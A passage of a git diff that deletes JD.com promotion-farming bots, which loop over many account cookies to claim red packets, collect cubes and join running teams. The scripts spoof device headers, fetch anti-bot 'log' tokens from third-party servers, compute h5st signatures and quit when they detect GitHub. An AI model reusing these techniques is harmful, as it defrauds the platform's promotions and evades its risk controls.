6点后做全部CK - * cron: 2 0,1,6 * * * - * CK1 HW.ts -> 内部 - * CK2~n 内部 -> HW.ts - */ - -import * as dotenv from 'dotenv' -import {get, post, getshareCodeHW, o2s, getCookie, wait} from "./TS_USER_AGENTS" - -let rabbitToken: string = process.env.RABBIT_TOKEN || '', tg_id: string = process.env.TG_ID || '' -let cookie: string, cookiesArr: string[] = [], res: any, UserName: string -let shareCodesSelf: string[] = [], shareCodes: string[] = [], shareCodesHW: string[] = [], fullCode: string[] = [], log: string - -!(async () => { - dotenv.config() - cookiesArr = await getCookie() - cookiesArr = cookiesArr.slice(0, 1) - await join() - await help() - - cookiesArr = await getCookie() - cookiesArr = cookiesArr.slice(0, 9) - if ([0, 1].includes(new Date().getHours())) { - await join() - } - await getShareCodeSelf() - await help() -})() - -async function join() { - for (let [index, value] of cookiesArr.entries()) { - try { - cookie = value - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) - for (let i = 0; i < 3; i++) { - try { - log = await getLog() - res = await api('h5launch', {followShop: 0, random: log.match(/"random":"(\d+)"/)[1], log: log.match(/"log":"(.*)"/)[1], sceneid: 'JLHBhPageh5'}) - console.log('活动初始化:', res.data.result.statusDesc) - if (res.rtn_code === 0) { - break - } - } catch (e) { - console.log('join error', res.rtn_code) - await wait(5000) - } - } - } catch (e) { - console.log(e) - } - await wait(5000) - } -} - -async function getShareCodeSelf(one: boolean = false) { - if (one) { - res = await api('h5activityIndex', {"isjdapp": 1}) - return res?.data?.result?.redpacketInfo?.id - } else { - for (let [index, value] of cookiesArr.entries()) { - try { - cookie = value - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) - res = await api('h5activityIndex', {"isjdapp": 1}) - console.log('ID:', res.data.result.redpacketInfo.id) - shareCodesSelf.push(res.data.result.redpacketInfo.id) - } catch (e) { - console.log('getShareCodeSelf error', e) - } - await wait(1000) - } - o2s(shareCodesSelf) - } -} - -async function help() { - for (let [index, value] of cookiesArr.entries()) { - try { - cookie = value - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - if (shareCodesHW.length === 0) { - shareCodesHW = await getshareCodeHW('jlhb') - } - if (index === 0) { - shareCodes = Array.from(new Set([...shareCodesHW, ...shareCodesSelf])) - } else { - shareCodes = Array.from(new Set([...shareCodesSelf, ...shareCodesHW])) - } - - let me: string = await getShareCodeSelf(true), remain: boolean = true - for (let code of shareCodes) { - if (!remain) break - let success: boolean = false - if (!fullCode.includes(code) && code !== me) { - console.log(`账号${index + 1} ${UserName} 去助力 ${code} ${shareCodesSelf.includes(code) ? '*内部*' : ''}`) - for (let i = 0; i < 5; i++) { - if (success) break - log = await getLog() - res = await api('jinli_h5assist', {"redPacketId": code, "followShop": 0, random: log.match(/"random":"(\d+)"/)[1], log: log.match(/"log":"(.*)"/)[1], sceneid: 'JLHBhPageh5'}) - if (res.rtn_code !== 0) { - console.log('help error', res.rtn_code) - await wait(5000) - } else { - success = true - if (res.data.result.status === 0) { - console.log('助力成功:', parseFloat(res.data.result.assistReward.discount)) - await wait(45000) - remain = false - break - } else if (res.data.result.status === 3) { - console.log('今日助力次数已满') - remain = false - await wait(45000) - break - } else { - console.log('助力结果:', res.data.result.statusDesc) - if (res.data.result.statusDesc === '啊偶,TA的助力已满,开启自己的红包活动吧~') { - fullCode.push(code) - } - await wait(45000) - } - } - } - } - } - } catch (e) { - console.log(e) - } - await wait(5000) - } -} - -async function api(fn: string, body: object) { - return await post(`https://api.m.jd.com/api?appid=jinlihongbao&functionId=${fn}&loginType=2&client=jinlihongbao&clientVersion=10.2.4&osVersion=AndroidOS&d_brand=Xiaomi&d_model=Xiaomi`, `body=${encodeURIComponent(JSON.stringify(body))}`, { - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", - 'Content-Type': 'application/x-www-form-urlencoded', - "X-Requested-With": "com.jingdong.app.mall", - "User-Agent": [ - "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", - "MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", - ][Math.floor(Math.random() * 2)], "Cookie": cookie, - }) -} - -async function getLog() { - if (!rabbitToken && !tg_id) { - let data = await get(`https://api.jdsharecode.xyz/api/jlhb`) - if (data !== 1 && data !== '1') { - return data - } else { - console.log('No log') - process.exit(0) - } - } else { - console.log('rabbit log') - let data: any = '' - for (let i = 0; i < 10; i++) { - try { - data = await get(`http://www.madrabbit.cf:8080/license/log?tg_id=${tg_id}&token=${rabbitToken}`) - break - } catch (e) { - console.log('rabbit log api error') - } - } - return `'"random":"${data.data.random}","log":"${data.data.log}"'` - } -} \ No newline at end of file diff --git a/jd_jmf.js b/jd_jmf.js deleted file mode 100644 index 5657ee0b5..000000000 --- a/jd_jmf.js +++ /dev/null @@ -1,447 +0,0 @@ -/* -京东集魔方 -=========================== - -cron:30 6 * * * -============Quantumultx=============== -[task_local] -#集魔方 -30 6 * * * jd_desire.js, tag=集魔方, enabled=true - */ - -const $ = new Env('京东集魔方'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -let uuid -$.shareCodes = [] -let hotInfo = {} -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.sku = [] - $.sku2 = [] - $.adv = [] - $.hot = false - uuid = randomString(40) - await jdMofang() - hotInfo[$.UserName] = $.hot - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdMofang() { - console.log(`\n集魔方 抽京豆 赢新品`) - await getInteractionInfo() -} - -//第二个 -async function getInteractionInfo(type = true) { - return new Promise(async (resolve) => { - $.post(taskPostUrl("getInteractionInfo", { "geo": { "lng": "0", "lat": "0" }, "mcChannel": 0, "sign": 3 }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`getInteractionInfo API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - // console.log(data.result.taskPoolInfo.taskList); - if (type) { - $.interactionId = data.result.interactionId - $.taskPoolId = data.result.taskPoolInfo.taskPoolId - for (let key of Object.keys(data.result.taskPoolInfo.taskList)) { - let vo = data.result.taskPoolInfo.taskList[key] - if (vo.taskStatus === 0) { - if (vo.taskId === 2004) { - await queryPanamaFloor() - for (let id of $.sku2) { - $.complete = false - await executeNewInteractionTask(vo.taskId, id) - await $.wait(2000) - if ($.complete) break - } - } - if (vo.taskId === 2002) { - await qryCompositeMaterials() - for (let id of $.sku) { - $.complete = false - await executeNewInteractionTask(vo.taskId, id) - await $.wait(2000) - if ($.complete) break - } - } - if (vo.taskId === 2006) { - await qryCompositeMaterials2() - for (let id2 of $.adv) { - $.complete = false - await executeNewInteractionTask(vo.taskId, id2) - await $.wait(2000) - if ($.complete) break - } - } - } else { - console.log(`已找到当前魔方`) - } - } - data = await getInteractionInfo(false) - if (data.result.hasFinalLottery === 0) { - let num = 0 - for (let key of Object.keys(data.result.taskPoolInfo.taskRecord)) { - let vo = data.result.taskPoolInfo.taskRecord[key] - num += vo - } - if (num >= 9) { - console.log(`共找到${num}个魔方,可开启礼盒`) - await getNewFinalLotteryInfo() - } else { - console.log(`共找到${num}个魔方,不可开启礼盒`) - } - } else { - console.log(`已开启礼盒`) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} -function queryPanamaFloor() { - return new Promise((resolve) => { - $.post(taskPostUrl("qryCompositeMaterials", {"geo":null,"mcChannel":0,"activityId":"01213138","pageId":"3513123","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06282906\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"desc\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`queryPanamaFloor API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - for (let skuVo of data.data.advData.list) { - $.sku2 = ["100035127996","100020571745","100036441470","100019125569","100032353530", "100033492870", "100033551096", "100035250900"] - $.sku2.push(skuVo.advertId) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} - -function qryCompositeMaterials() { - return new Promise((resolve) => { - $.post(taskPostUrl("qryCompositeMaterials", {"geo":null,"mcChannel":0,"activityId":"01213138","pageId":"3513123","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06282906\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"desc\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`qryCompositeMaterials API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - for (let key of Object.keys(data.data.advData.list)) { - let vo = data.data.advData.list[key] - if (vo.next && vo.next.productGroup) { - for (let key of Object.keys(vo.next.productGroup.list)) { - let skuVo = vo.next.productGroup.list[key] - $.sku.push(skuVo.skuId) - } - break - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} - -function qryCompositeMaterials2() { - return new Promise((resolve) => { - $.post(taskPostUrl("qryCompositeMaterials", {"geo":null,"mcChannel":0,"activityId":"01213138","pageId":"3513123","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06290597\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"comment[0]\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`qryCompositeMaterials API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - // console.log(data); - for (let key of Object.keys(data.data.advData.list)) { - let vo = data.data.advData.list[key] - $.adv.push(vo.advertId) - // console.log($.adv); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} -function executeNewInteractionTask(taskType, advertId) { - body = { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": taskType, "advertId": advertId } - if (taskType === 2002) { - body = { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": taskType, "sku": advertId } - } - return new Promise((resolve) => { - $.post(taskPostUrl("executeNewInteractionTask", body), (err, resp, data) => { - // console.log(taskPostUrl("executeNewInteractionTask", body)); - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} executeNewInteractionTask API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - if (data.result.hasDown === 1) { - console.log(data.result.isLottery === 1 ? `找到了一个魔方,获得${data.result.lotteryInfoList[0].quantity || ''}${data.result.lotteryInfoList[0].name}` : `找到了一个魔方`) - $.complete = true - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} -function getNewFinalLotteryInfo() { - return new Promise((resolve) => { - $.post(taskPostUrl("getNewFinalLotteryInfo", { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId }), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getNewFinalLotteryInfo API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - if (data.result.lotteryStatus === 1) { - console.log(`开启礼盒成功:获得${data.result.lotteryInfoList[0].quantity}${data.result.lotteryInfoList[0].name}`) - } else { - console.log(`开启礼盒成功:${data.result.toast}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} - - -function taskPostUrl(functionId, body = {}) { - body = JSON.stringify(body) - if (functionId === "queryPanamaPage") body = escape(body) - return { - url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURI((body))}&client=wh5&clientVersion=10.1.4&appid=content_ecology&uuid=${uuid}&t=${Date.now()}`, - headers: { - 'Host': 'api.m.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Origin': 'https://prodev.m.jd.com', - 'Accept-Language': 'zh-cn', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer': 'https://prodev.m.jd.com/mall/active/TqTRGRrp9HZTfeyRTL2UGmX4mHG/index.html?babelChannel=ttt30', - 'Accept-Encoding': 'gzip, deflate, br', - 'Cookie': cookie - } - } -} - - -function taskSignUrl(url, body) { - return { - url, - body: `body=${escape(body)}`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Referer': '', - 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} -function randomString(e) { - let t = "abcdef0123456789" - if (e === 16) t = "abcdefghijklmnopqrstuvwxyz0123456789" - e = e || 32; - let a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function getSign(functionid, body, uuid) { - return new Promise(async resolve => { - let data = { - "functionId": functionid, - "body": body, - "uuid": uuid, - "client": "apple", - "clientVersion": "10.1.0" - } - let HostArr = ['jdsign.cf', 'signer.nz.lu'] - let Host = HostArr[Math.floor((Math.random() * HostArr.length))] - let options = { - url: `https://cdn.nz.lu/ddo`, - body: JSON.stringify(data), - headers: { - Host, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - }, - timeout: 30 * 1000 - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSign API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_joy_joy_run.ts b/jd_joy_joy_run.ts deleted file mode 100644 index d2833d40c..000000000 --- a/jd_joy_joy_run.ts +++ /dev/null @@ -1,229 +0,0 @@ -/** -汪汪乐园-跑步+组队 -默认翻倍到0.04红包结束,修改请设置变量 -export JD_JOY_PARK_RUN_ASSETS="0.08" -32 * * * * jd_joy_joy_run.ts -new Env('极速版汪汪赛跑') -Modify By Dylan from HW -**/ - -import {get, post, o2s, requireConfig, wait} from './TS_USER_AGENTS' -import {H5ST} from "./function/h5st" -import {existsSync, readFileSync} from "fs"; -import {getDate} from "date-fns"; - -let cookie: string = '', res: any = '', UserName: string = '', fp_448de: string = '' || process.env.FP_448DE, fp_b6ac3: string = '' || process.env.FP_B6AC3 -let assets: number = 0, captainId: string = '', h5stTool: H5ST = null - -!(async () => { - let cookiesArr: string[] = await requireConfig() - let account: { pt_pin: string, joy_park_run: number }[] = [] - console.log('每周日18点组队分红!!') - for (let [index, value] of cookiesArr.entries()) { - cookie = value - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) - - - - assets = parseFloat(process.env.JD_JOY_PARK_RUN_ASSETS || '0.04') - let rewardAmount: number = 0 - try { - h5stTool = new H5ST('448de', 'jdltapp;', fp_448de) - await h5stTool.__genAlgo() - res = await team('runningMyPrize', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "pageSize": 20, "time": null, "ids": null}) - let sum: number = 0, success: number = 0 - for (let t of res?.data?.detailVos || []) { - if (t.amount > 0 && getDate(new Date(t.createTime)) === new Date().getDate()) { - sum = add(sum, t.amount) - success++ - } else { - break - } - } - console.log('今日成功', success, '次') - console.log('今日收益', sum.toFixed(2), '元') - - res = await team('runningTeamInfo', {"linkId": "L-sOanK_5RJCz7I314FpnQ"}) - if (!captainId) { - if (res.data.members.length === 0) { - console.log('成为队长') - captainId = res.data.captainId - } else if (res.data.members.length !== 6) { - console.log('队伍未满', res.data.members.length, '人') - console.log('战队收益', res.data.teamSumPrize, '元') - captainId = res.data.captainId - } else { - console.log('队伍已满', res.data.members.length, '人') - console.log('战队收益', res.data.teamSumPrize, '元') - } - } else if (captainId && res.data.members.length === 0) { - console.log('已有组队ID,未加入队伍') - res = await team('runningJoinTeam', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "captainId": captainId}) - if (res.code === 0) { - console.log('组队成功') - for (let 